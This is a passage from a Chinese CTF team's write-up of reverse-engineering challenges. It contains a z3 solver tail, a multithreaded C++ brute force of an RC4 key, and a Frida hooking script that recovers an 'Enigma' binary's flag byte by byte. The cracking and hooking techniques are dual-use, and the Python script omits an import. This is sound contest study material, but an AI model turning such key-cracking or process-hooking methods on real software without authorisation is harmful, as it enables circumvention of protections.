+a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] == 6959905 , a[2] +a[2] +a[2] +a[2] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[5] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[14] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] == 6705884 , ) if(s.check()==sat): m = s.model() for i in range(2, 20): n = m[a[i]].as_long() print(chr(n&0xff), end='') print(chr(n>>8), end='') #### Python大法好 通过opcode还原pyc,得到py文件,发现将8位key转hex送给了a.a,加密结果保存为cipher.txt ![](https://i.imgur.com/GAAB8vq.png) 查看a函数,发现是RC4,密钥未知,爆破密钥解得flag C++跑了个多线程就秒出 void pluss(char a[]) { int i; a[7] += 1; for(i=0;i<8;i++) { if(a[7-i]==('0'+10)) { a[7-i] = '0'; a[7-i-1] += 1; if(i==5) printf("%s\n", a); } else break; } } void run(char k[8]) { char key[32]; char out[32]; int i; char text[] = {102, 21, 100, 44, 67, 9, 98, 22, 233, 44, 182, 70, 251, 93, 209, 37, 138, 227, 217, 56, 146, 27, 59, 6, 92, 26, 157, 78, 172, 143, 152, 33, 98, 175, 213, 231}; for(;k[1]!='9';){ for(i=0;i<8;i++) sprintf(&key[i*2], "%x", k[i]); //printf("%s\n", key); //cout << k;; rc4(key, 16, text, 36, out); if(out[0]=='S' && out[1]=='U' && out[2]=='C') printf("flag find:\n%s\n", out); pluss(k); //printf("%s", out); } } int main() { char text[] = {102, 21, 100, 44, 67, 9, 98, 22, 233, 44, 182, 70, 251, 93, 209, 37, 138, 227, 217, 56, 146, 27, 59, 6, 92, 26, 157, 78, 172, 143, 152, 33, 98, 175, 213, 231}; //char test[] = {152, 27, 99, 123, 79, 70, 77, 3, 237, 133, 12, 246}; //char key[16] = {50, 97, 50, 97, 50, 97, 50, 97, 50, 97, 50, 97, 50, 97, 50, 97}; int i; char k[10*8+1] = "00000000100000002000000030000000400000005000000060000000700000008000000090000000";//{"00000000", "10000000", "20000000", "30000000", "40000000", "50000000", "60000000", "70000000", "80000000", "90000000"};// = "00000000"; for(i=0;i<10;i++) { thread t(run, &k[i*8]); t.detach(); } getchar(); } #### Enigma 查看加密函数,发现是逐字符变换。各字符之间除了转子以外没有关系,而转子仅跟顺序有关,因此可以逐字节爆破 使用Frida来Hook函数结尾,遍历所有可见字符串一次可得flag from __future__ import print_function import frida import sys import frida import string import subprocess r = [71, 176, 52, 246, 119, 186, 97, 149, 160, 238, 5, 35, 178, 178, 139, 159, 204, 6, 70, 107, 42, 193, 1, 7, 130, 117, 37, 48, 141, 179, 95, 44, 246, 214, 41, 32] s = """ var base = Module.findBaseAddress('Enigma'); var target = ptr(Number(base)+0x11f0); var dump = ptr(Number(base)+0x203340); var printf = new NativeFunction(Module.findExportByName("libc.so.6", "printf"), "int", ["pointer", "int", "int"]); // 验证js完全加载 /*rpc.exports = { getaddr: function () { return target; }, add: function(a, b){ return a+b; }, };*/ Interceptor.attach(target, { onEnter: function (args) { for(var i=0;i<36;i++){ buff = Memory.readU8(ptr(Number(base)+0x203340+i)); send(buff); } // 拖延时间,使js服务器异步send可以成功将消息发送出去 for(i=0;i<0xffff;i++) {} } }); """ flag = [0 for i in range(36)] char = "1" def hook(): session = frida.attach("Enigma") script = session.create_script(s) script.on('message', on_message) script.load() return session def on_message(message, data): global n if message['type'] == 'send': p = message['payload'] if(p==r[n]): flag[n] = char print(n, char) n+=1 CMD = "./Enigma" def main(): global char global n f = 1 stat = 0 for i in (string.digits + string.ascii_letters + string.punctuation): char = i n = 0 p = subprocess.Popen(CMD, stdin=subprocess.PIPE, stdout=subprocess.PIPE) time.sleep(0.5) session = hook() pin, pout = p.stdin, p.stdout pin.write(i*36+"\n") pin.flush() for k in range(9): a = pout.readline() session.detach() p.kill() time.sleep(0.5) print("finish") print("".join(flag)) main() ### 写在后面 这次比赛题目质量是真心不错特别是Web部分,在此感谢战队的各位师傅比赛时的发力才有了这么好的成绩!然后也感谢一下这次的良心主办方,将所有docker镜像打包!希望战队越战越勇能够在下次取得更好的成绩! > ps 如果你想加入我们的话,就赶快把你的简历砸到我们邮箱吧!email : ctf@whitecap100.org